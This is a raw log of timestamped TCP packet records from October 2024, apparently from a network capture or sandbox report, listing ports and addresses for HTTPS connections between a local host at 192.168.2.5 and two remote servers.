Oct 26, 2024 13:49:46.538781881 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.539644003 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.539661884 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.541673899 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.541680098 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.541698933 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.541737080 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.541788101 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.541806936 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.541877031 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.542376995 CEST	50007	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.542418957 CEST	443	50007	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.547328949 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.550640106 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.550677061 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.550817013 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.551053047 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.551073074 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.559910059 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.560831070 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.560853004 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.561944962 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.561954021 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.671139956 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.671215057 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.671284914 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.671551943 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.671574116 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.671600103 CEST	50009	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.671607018 CEST	443	50009	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.674567938 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.674609900 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.674686909 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.674822092 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.674832106 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.687154055 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.687365055 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.687422991 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.687439919 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.687475920 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.687561035 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.687618017 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.687633038 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.687644958 CEST	50010	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.687650919 CEST	443	50010	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.690742016 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.690838099 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.690918922 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.691067934 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:46.691098928 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:46.805860996 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.805886030 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.805902958 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.806026936 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.806041956 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.806104898 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.853020906 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.853064060 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.853097916 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.853130102 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.853322983 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.853322983 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.853343964 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.853472948 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:46.853478909 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.853511095 CEST	443	50008	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:46.853585005 CEST	50008	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:47.048276901 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.050578117 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.050606012 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.051012039 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.051018953 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.180207968 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.180412054 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.180486917 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.180614948 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.180628061 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.180644035 CEST	50011	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.180649042 CEST	443	50011	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.183857918 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.183901072 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.184155941 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.184155941 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.184194088 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.202533960 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.203069925 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.203079939 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.203917980 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.203922987 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.310286045 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.310957909 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.310976028 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.311424971 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.311440945 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.332890987 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.333059072 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.333128929 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.333292961 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.333308935 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.333342075 CEST	50012	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.333347082 CEST	443	50012	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.336271048 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.336302996 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.336370945 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.336548090 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.336563110 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.416915894 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.417511940 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.417562962 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.417897940 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.417905092 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.435870886 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.436870098 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.436870098 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.436894894 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.436912060 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.442142010 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.442213058 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.442434072 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.442434072 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.442498922 CEST	50013	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.442512989 CEST	443	50013	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.444998026 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.445039988 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.445163012 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.445451975 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.445470095 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.544465065 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.544648886 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.545110941 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.545110941 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.545190096 CEST	50015	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.545207977 CEST	443	50015	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.548141956 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.548177958 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.548295021 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.548496008 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.548511982 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.569648027 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.569725990 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.569843054 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.569972038 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.569972038 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.570045948 CEST	50014	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.570080996 CEST	443	50014	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.572592974 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.572638035 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.572839975 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.572974920 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.572990894 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.908536911 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.909501076 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.909521103 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:47.909595966 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:47.909603119 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.037450075 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.037599087 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.037904024 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.037904024 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.037969112 CEST	50016	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.037991047 CEST	443	50016	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.040688992 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.040735006 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.040914059 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.041043997 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.041055918 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.078790903 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.079287052 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.079318047 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.079775095 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.079780102 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.201347113 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.202311993 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.202311993 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.202333927 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.202351093 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.209666967 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.209871054 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.210097075 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.210302114 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.210302114 CEST	50017	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.210314989 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.210330963 CEST	443	50017	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.215712070 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.215744972 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.215925932 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.216197014 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.216213942 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.292727947 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.293803930 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.293803930 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.293829918 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.293848038 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.303839922 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.304896116 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.304896116 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.304908991 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.304927111 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.335577965 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.335683107 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.336011887 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.336011887 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.338834047 CEST	50018	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.338835955 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.338860035 CEST	443	50018	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.338879108 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.339138985 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.339138985 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.339173079 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.424071074 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.424153090 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.424348116 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.424382925 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.424400091 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.424411058 CEST	50019	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.424416065 CEST	443	50019	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.427093029 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.427136898 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.427206039 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.427390099 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.427403927 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.433698893 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.433841944 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.433976889 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.433976889 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.433976889 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.436466932 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.436500072 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.436747074 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.436925888 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.436938047 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.749666929 CEST	50020	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.749686003 CEST	443	50020	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.783143044 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.783663988 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.783690929 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.784241915 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.784248114 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.915330887 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.915589094 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.915816069 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.915874004 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.915888071 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.915899992 CEST	50021	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.915905952 CEST	443	50021	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.918771029 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.918817997 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.918983936 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.919184923 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.919198036 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.950278044 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.950805902 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.950820923 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:48.951275110 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:48.951282024 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.070312023 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.070998907 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.071022987 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.071544886 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.071551085 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.080012083 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.080041885 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.080080032 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.080100060 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.080133915 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.080415964 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.080425978 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.080442905 CEST	50022	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.080447912 CEST	443	50022	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.083503962 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.083539963 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.083607912 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.083797932 CEST	50027	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.083808899 CEST	443	50027	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.179553032 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.180066109 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.180087090 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.180605888 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.180610895 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.184237957 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.184689999 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.184703112 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.185239077 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.185242891 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.203310966 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.203412056 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.203598976 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.203681946 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.203681946 CEST	50023	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.203723907 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.203751087 CEST	443	50023	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.207304001 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.207377911 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.207473993 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.207756996 CEST	50028	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.207788944 CEST	443	50028	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.312386036 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.312558889 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.312601089 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.312618017 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.312670946 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.312752008 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.312772989 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.312783003 CEST	50024	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.312788010 CEST	443	50024	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.315680981 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.315748930 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.315902948 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.316106081 CEST	50029	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.316138029 CEST	443	50029	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.326512098 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.327274084 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.327349901 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.327501059 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.327501059 CEST	50025	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.327512980 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.327522993 CEST	443	50025	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.330359936 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.330374002 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.330446005 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.330581903 CEST	50030	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.330593109 CEST	443	50030	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.680461884 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.681081057 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.681104898 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.681973934 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.681982040 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.815618038 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.815682888 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.815768003 CEST	443	50026	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:49.815835953 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.816103935 CEST	50026	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:49.816117048 CEST	443	50026	13.107.246.60	192.168.2.5
